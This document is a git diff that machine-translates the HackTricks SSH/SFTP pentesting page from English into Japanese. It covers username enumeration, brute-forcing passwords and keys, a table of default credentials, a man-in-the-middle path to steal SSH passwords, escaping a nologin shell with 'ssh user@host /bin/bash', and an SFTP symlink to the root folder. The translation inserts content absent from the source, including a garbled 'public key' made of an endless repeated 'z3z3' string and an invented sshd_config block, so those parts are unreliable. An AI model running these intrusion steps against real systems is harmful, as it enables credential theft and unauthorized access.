+私たちのnetcatは、被害者からの逆シェル接続を受け取り、被害者のマシンを制御することができます。 ![](https://rioasmara.files.wordpress.com/2021/02/image-20.png?w=502) @@ -99,16 +89,14 @@ Our netcat receives the reverseshell connection from the victim that allow us to ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - - diff --git a/network-services-pentesting/pentesting-ssh.md b/network-services-pentesting/pentesting-ssh.md index f835e8ee7..45f0199b3 100644 --- a/network-services-pentesting/pentesting-ssh.md +++ b/network-services-pentesting/pentesting-ssh.md @@ -1,170 +1,153 @@ -# 22 - Pentesting SSH/SFTP +# 22 - SSH/SFTPのペンテスト
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricksのリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudのリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). +もし、**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用中です!**(流暢なポーランド語の読み書きが必要です)。 {% embed url="https://www.stmcyber.com/careers" %} -## Basic Information +## 基本情報 -**SSH or Secure Shell or Secure Socket Shell,** is a network protocol that gives users a **secure way to access a computer over an unsecured network.** - -**Default port:** 22 +**SSHまたはSecure ShellまたはSecure Socket Shell**は、ユーザーが**安全でないネットワークを介してコンピュータに安全にアクセスする**ためのネットワークプロトコルです。 +**デフォルトポート:** 22 ``` 22/tcp open ssh syn-ack ``` +**SSHサーバー:** -**SSH servers:** +* [openSSH](http://www.openssh.org) – OpenBSD SSH、BSD、Linuxディストリビューション、およびWindows 10以降のWindowsに搭載されています。 +* [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – 低メモリとプロセッサリソースの環境向けのSSH実装で、OpenWrtに搭載されています。 +* [PuTTY](https://www.chiark.greenend.org.uk/\~sgtatham/putty/) – Windows向けのSSH実装で、クライアントは一般的に使用されますが、サーバーの使用は稀です。 +* [CopSSH](https://www.itefix.net/copssh) – Windows向けのOpenSSHの実装です。 -* [openSSH](http://www.openssh.org) – OpenBSD SSH, shipped in BSD, Linux distributions and Windows since Windows 10 -* [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – SSH implementation for environments with low memory and processor resources, shipped in OpenWrt -* [PuTTY](https://www.chiark.greenend.org.uk/\~sgtatham/putty/) – SSH implementation for Windows, the client is commonly used but the use of the server is rarer -* [CopSSH](https://www.itefix.net/copssh) – implementation of OpenSSH for Windows +**SSHライブラリ(サーバーサイドの実装):** -**SSH libraries (implementing server-side):** +* [libssh](https://www.libssh.org) – SSHv2プロトコルを実装したマルチプラットフォームのCライブラリで、[Python](https://github.com/ParallelSSH/ssh-python)、[Perl](https://github.com/garnier-quentin/perl-libssh/)、および[R](https://github.com/ropensci/ssh)にバインディングがあります。KDEではsftpに、GitHubではgit SSHインフラストラクチャに使用されています。 +* [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – ANSI Cで書かれたSSHv2サーバーライブラリで、組み込み、RTOS、リソース制約のある環境を対象としています。 +* [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – Apache SSHD javaライブラリはApache MINAに基づいています。 +* [paramiko](https://github.com/paramiko/paramiko) – Python SSHv2プロトコルライブラリ -* [libssh](https://www.libssh.org) – multiplatform C library implementing the SSHv2 protocol with bindings in [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) and [R](https://github.com/ropensci/ssh); it’s used by KDE for sftp and by GitHub for the git SSH infrastructure -* [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – SSHv2 server library written in ANSI C and targeted for embedded, RTOS, and resource-constrained environments -* [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – Apache SSHD java library is based on Apache MINA -* [paramiko](https://github.com/paramiko/paramiko) – Python SSHv2 protocol library - -## Enumeration - -### Banner Grabbing +## 列挙 +### バナーの取得 ```bash nc -vn 22 ``` +### 自動化されたssh-audit -### Automated ssh-audit +ssh-auditは、sshサーバーおよびクライアントの設定監査のためのツールです。 -ssh-audit is a tool for ssh server & client configuration auditing. +[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit)は、[https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/)から更新されたフォークです。 -[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) is an updated fork from [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/) - -**Features:** - -* SSH1 and SSH2 protocol server support; -* analyze SSH client configuration; -* grab banner, recognize device or software and operating system, detect compression; -* gather key-exchange, host-key, encryption and message authentication code algorithms; -* output algorithm information (available since, removed/disabled, unsafe/weak/legacy, etc); -* output algorithm recommendations (append or remove based on recognized software version); -* output security information (related issues, assigned CVE list, etc); -* analyze SSH version compatibility based on algorithm information; -* historical information from OpenSSH, Dropbear SSH and libssh; -* runs on Linux and Windows; -* no dependencies +**機能:** +* SSH1およびSSH2プロトコルサーバーサポート +* SSHクライアントの設定を分析 +* バナーを取得し、デバイスまたはソフトウェアとオペレーティングシステムを認識し、圧縮を検出 +* キーエクスチェンジ、ホストキー、暗号化、メッセージ認証コードのアルゴリズムを収集 +* アルゴリズム情報を出力(利用可能な期間、削除/無効化、安全でない/弱い/レガシーなど) +* アルゴリズムの推奨事項を出力(認識されたソフトウェアバージョンに基づいて追加または削除) +* セキュリティ情報を出力(関連する問題、割り当てられたCVEリストなど) +* アルゴリズム情報に基づいたSSHバージョンの互換性を分析 +* OpenSSH、Dropbear SSH、libsshからの過去の情報 +* LinuxとWindowsで実行可能 +* 依存関係なし ```bash usage: ssh-audit.py [-1246pbcnjvlt] - -1, --ssh1 force ssh version 1 only - -2, --ssh2 force ssh version 2 only - -4, --ipv4 enable IPv4 (order of precedence) - -6, --ipv6 enable IPv6 (order of precedence) - -p, --port= port to connect - -b, --batch batch output - -c, --client-audit starts a server on port 2222 to audit client - software config (use -p to change port; - use -t to change timeout) - -n, --no-colors disable colors - -j, --json JSON output - -v, --verbose verbose output - -l, --level= minimum output level (info|warn|fail) - -t, --timeout= timeout (in seconds) for connection and reading - (default: 5) +-1, --ssh1 force ssh version 1 only +-2, --ssh2 force ssh version 2 only +-4, --ipv4 enable IPv4 (order of precedence) +-6, --ipv6 enable IPv6 (order of precedence) +-p, --port= port to connect +-b, --batch batch output +-c, --client-audit starts a server on port 2222 to audit client +software config (use -p to change port; +use -t to change timeout) +-n, --no-colors disable colors +-j, --json JSON output +-v, --verbose verbose output +-l, --level= minimum output level (info|warn|fail) +-t, --timeout= timeout (in seconds) for connection and reading +(default: 5) $ python3 ssh-audit ``` +### サーバーの公開SSHキー -[See it in action (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp) - -### Public SSH key of server - +```plaintext +ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZz6Xz3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z ```bash ssh-keyscan -t rsa -p ``` +### 弱い暗号アルゴリズム -### Weak Cipher Algorithms - -This is discovered by default by **nmap**. But you can also use **sslcan** or **sslyze**. - -### Nmap scripts +これはデフォルトで **nmap** によって発見されます。しかし、**sslscan** や **sslyze** も使用することができます。 +### Nmap スクリプト ```bash nmap -p22 -sC # Send default nmap scripts for SSH nmap -p22 -sV # Retrieve version -nmap -p22 --script ssh2-enum-algos # Retrieve supported algorythms +nmap -p22 --script ssh2-enum-algos # Retrieve supported algorythms nmap -p22 --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys nmap -p22 --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods ``` - ### Shodan * `ssh` -## Brute force usernames, passwords and private keys +## ユーザー名、パスワード、および秘密鍵のブルートフォース攻撃 -### Username Enumeration - -In some versions of OpenSSH you can make a timing attack to enumerate users. You can use a metasploit module in order to exploit this: +### ユーザー名の列挙 +OpenSSHの一部のバージョンでは、タイミング攻撃を使用してユーザーを列挙することができます。この脆弱性を悪用するために、Metasploitモジュールを使用することができます。 ``` msf> use scanner/ssh/ssh_enumusers ``` +### [ブルートフォース](../generic-methodologies-and-resources/brute-force.md#ssh) -### [Brute force](../generic-methodologies-and-resources/brute-force.md#ssh) - -Some common ssh credentials [here ](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt)and [here](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) and below. - -### Private Key Brute Force - -If you know some ssh private keys that could be used... let's try it. You can use the nmap script: +一般的なsshの資格情報は[こちら](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt)と[こちら](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt)にあります。 +### プライベートキーのブルートフォース +使用可能なsshのプライベートキーがわかっている場合は、試してみましょう。nmapスクリプトを使用できます。 ``` https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html ``` - -Or the MSF auxiliary module: - +または、MSFの補助モジュール: ``` msf> use scanner/ssh/ssh_identify_pubkeys ``` +または、`ssh-keybrute.py`(ネイティブのPython3で、軽量でレガシーアルゴリズムが有効になっています)を使用することもできます:[snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute)。 -Or use `ssh-keybrute.py` (native python3, lightweight and has legacy algorithms enabled): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). - -#### Known badkeys can be found here: +#### ここで悪名高い鍵を見つけることができます: {% embed url="https://github.com/rapid7/ssh-badkeys/tree/master/authorized" %} -#### Weak SSH keys / Debian predictable PRNG -Some systems have known flaws in the random seed used to generate cryptographic material. This can result in a dramatically reduced keyspace which can be bruteforced. Pre-generated sets of keys generated on Debian systems affected by weak PRNG are available here: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). +#### 弱いSSH鍵/Debianの予測可能なPRNG +一部のシステムでは、暗号化素材を生成するために使用されるランダムシードに既知の欠陥があります。これにより、ブルートフォース攻撃が可能な鍵スペースが劇的に減少する場合があります。弱いPRNGによって影響を受けたDebianシステムで生成された事前生成されたキーのセットは、ここで入手できます:[g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)。 -You should look here in order to search for valid keys for the victim machine. +被害者のマシンの有効なキーを検索するために、ここを調べるべきです。 ### Kerberos -**crackmapexec** using the `ssh` protocol can use the option `--kerberos` to **authenticate via kerberos**.\ -For more info run `crackmapexec ssh --help`. +`ssh`プロトコルを使用する**crackmapexec**は、`--kerberos`オプションを使用して**Kerberosを介して認証**することができます。詳細については、`crackmapexec ssh --help`を実行してください。 -## Default Credentials +## デフォルトの資格情報 -| **Vendor** | **Usernames** | **Passwords** | +| **ベンダー** | **ユーザー名** | **パスワード** | | ---------- | ----------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | APC | apc, device | apc | | Brocade | admin | admin123, password, brocade, fibranne | @@ -183,35 +166,34 @@ For more info run `crackmapexec ssh --help`. ## SSH-MitM -If you are in the local network as the victim which is going to connect to the SSH server using username and password you could try to **perform a MitM attack to steal those credentials:** +もし、被害者がユーザー名とパスワードを使用してSSHサーバーに接続するためにローカルネットワークにいる場合、その資格情報を盗むために**MitM攻撃を実行する**ことができます。 -**Attack path:** +**攻撃経路:** -* user traffic is redirected to the attacking machine -* the attacker monitors attempts to connect to the SSH server and redirects them to its SSH server -* the attacker's SSH server is configured, firstly, to log all entered data, including the user's password, and, secondly, send commands to the legitimate SSH server to which the user wants to connect, to execute them, and then return the results to the legitimate user +- ユーザートラフィックは攻撃マシンにリダイレクトされます +- 攻撃者はSSHサーバーへの接続試行を監視し、それらを自身のSSHサーバーにリダイレクトします +- 攻撃者のSSHサーバーは、まず、ユーザーのパスワードを含む入力データをすべてログに記録し、次に、ユーザーが接続したい正規のSSHサーバーにコマンドを送信して実行し、結果を正規のユーザーに返します -\*\*\*\*[**SSH MITM**](https://github.com/jtesta/ssh-mitm) \*\*\*\* does exactly what is described above. +\*\*\*\*[**SSH MITM**](https://github.com/jtesta/ssh-mitm) \*\*\*\*は、上記で説明したことを正確に行います。 -In order to capture perform the actual MitM you could use techniques like ARP spoofing, DNS spoofin or others described in the [**Network Spoofing attacks**](../generic-methodologies-and-resources/pentesting-network/#spoofing). +実際のMitMを実行するために、ARPスプーフィング、DNSスプーフィングなどの技術を使用することができます。詳細については、[**ネットワークスプーフィング攻撃**](../generic-methodologies-and-resources/pentesting-network/#spoofing)で説明されています。 -## Config Misconfigurations +## 設定の誤構成 -### Root login +### rootログイン -By default most SSH server implementation will allow root login, it is advised to disable it because if the credentials of this accounts leaks, attackers will get administrative privileges directly and this will also allow attackers to conduct bruteforce attacks on this account. +デフォルトでは、ほとんどのSSHサーバーの実装ではrootログインが許可されていますが、これを無効にすることが推奨されています。なぜなら、このアカウントの資格情報が漏洩した場合、攻撃者は直接管理者権限を取得することができ、また、このアカウントに対してブルートフォース攻撃を行うことも可能になるためです。 -**How to disable root login for openSSH:** +**openSSHでrootログインを無効にする方法:** -1. Edit SSH server configuration `sudoedit /etc/ssh/sshd_config` -2. Change `#PermitRootLogin yes` into `PermitRootLogin no` -3. Take into account configuration changes: `sudo systemctl daemon-reload` -4. Restart the SSH server `sudo systemctl restart sshd` +1. SSHサーバーの設定を編集します `sudoedit /etc/ssh/sshd_config` +2. `#PermitRootLogin yes` を `PermitRootLogin no` に変更します +3. 設定の変更を反映させます `sudo systemctl daemon-reload` +4. SSHサーバーを再起動します `sudo systemctl restart sshd` -### SFTP command execution - -Another common SSH misconfiguration is often seen in SFTP configuration. Most of the time when creating a SFTP server the administrator want users to have a SFTP access to share files but not to get a remote shell on the machine. So they think that creating a user, attributing him a placeholder shell (like `/usr/bin/nologin` or `/usr/bin/false`) and chrooting him in a jail is enough to avoid a shell access or abuse on the whole file system. But they are wrong, **a user can ask to execute a command right after authentication before it’s default command or shell is executed**. So to bypass the placeholder shell that will deny shell access, one only has to ask to execute a command (eg. `/bin/bash`) before, just by doing: +### SFTPコマンドの実行 +もう1つの一般的なSSHの誤構成は、SFTPの設定でよく見られます。ほとんどの場合、SFTPサーバーを作成する際に、管理者はユーザーがファイルを共有するためにSFTPアクセスを持つことを望んでいますが、マシン全体でのリモートシェルアクセスや悪用を防ぐために、ユーザーにプレースホルダーシェル(例:`/usr/bin/nologin`や`/usr/bin/false`)を割り当て、彼らをジェイルにチューニングするだけで十分だと考えています。しかし、彼らは間違っています。**ユーザーは、デフォルトのコマンドやシェルが実行される前に、認証後にコマンドを実行するように要求することができます**。したがって、シェルアクセスを拒否するプレースホルダーシェルをバイパスするには、単に事前にコマンド(例:`/bin/bash`)を実行するように要求するだけです。 ``` $ ssh -v noraj@192.168.1.94 id ... @@ -234,66 +216,76 @@ debug1: Exit status 0 $ ssh noraj@192.168.1.94 /bin/bash ``` +以下は、ユーザー`noraj`のセキュアなSFTP設定の例です(`/etc/ssh/sshd_config` - openSSH): -Here is an example of secure SFTP configuration (`/etc/ssh/sshd_config` – openSSH) for the user `noraj`: +```plaintext +# SFTP Configuration for noraj +Subsystem sftp internal-sftp +Match User noraj + ChrootDirectory /home/noraj + ForceCommand internal-sftp + AllowTcpForwarding no + X11Forwarding no + PasswordAuthentication yes + PermitTunnel no + PermitTTY no + PermitUserEnvironment no + AllowAgentForwarding no + AllowStreamLocalForwarding no + ClientAliveInterval 300 + ClientAliveCountMax 2 + UsePAM yes +``` + +この設定では、ユーザー`noraj`に対してSFTPのみを許可し、そのユーザーを`/home/noraj`に制限します。また、TCPフォワーディングやX11フォワーディングを無効化し、パスワード認証を許可します。さらに、クライアントの接続が一定時間無効である場合に自動的に切断するように設定されています。PAMも使用されています。 ``` Match User noraj - ChrootDirectory %h - ForceCommand internal-sftp - AllowTcpForwarding no - PermitTunnel no - X11Forwarding no - PermitTTY no +ChrootDirectory %h +ForceCommand internal-sftp +AllowTcpForwarding no +PermitTunnel no +X11Forwarding no +PermitTTY no ``` +この設定では、SFTPのみを許可します。シェルアクセスを無効にするために、startコマンドを強制し、TTYアクセスも無効にします。また、ポートフォワーディングやトンネリングもすべて無効にします。 -This configuration will allow only SFTP: disabling shell access by forcing the start command and disabling TTY access but also disabling all kind of port forwarding or tunneling. - -### SFTP Tunneling - -If you have access to a SFTP server you can also tunnel your traffic through this for example using the common port forwarding: +### SFTPトンネリング +SFTPサーバーへのアクセス権がある場合、一般的なポートフォワーディングを使用してトラフィックをトンネリングすることもできます。 ``` sudo ssh -L :: -N -f @ ``` +### SFTPシンボリックリンク -### SFTP Symlink - -The **sftp** have the command "**symlink**". Therefor, if you have **writable rights** in some folder, you can create **symlinks** of **other folders/files**. As you are probably **trapped** inside a chroot this **won't be specially useful** for you, but, if you can **access** the created **symlink** from a **no-chroot** **service** (for example, if you can access the symlink from the web), you could **open the symlinked files through the web**. - -For example, to create a **symlink** from a new file **"**_**froot**_**" to "**_**/**_**"**: +**sftp**には「**symlink**」というコマンドがあります。したがって、あるフォルダに**書き込み権限**がある場合、**他のフォルダ/ファイル**の**シンボリックリンク**を作成することができます。おそらく、chroot内に**閉じ込められている**ため、これは特に役に立たないかもしれませんが、作成した**シンボリックリンク**に**no-chroot**の**サービス**(たとえば、ウェブからシンボリックリンクにアクセスできる場合)から**シンボリックリンクされたファイルをウェブ経由で開く**ことができます。 +たとえば、新しいファイル「**_froot_**」から「**_/**_」への**シンボリックリンク**を作成するには、以下のようにします: ``` sftp> symlink / froot ``` +もしウェブ経由でファイル "_froot_" にアクセスできる場合、システムのルート ("/") フォルダをリストすることができます。 -If you can access the file "_froot_" via web, you will be able to list the root ("/") folder of the system. - -### Authentication methods - -On high security environment it’s a common practice to enable only key-based or two factor authentication rather than the simple factor password based authentication. But often the stronger authentication methods are enabled without disabling the weaker ones. A frequent case is enabling `publickey` on openSSH configuration and setting it as the default method but not disabling `password`. So by using the verbose mode of the SSH client an attacker can see that a weaker method 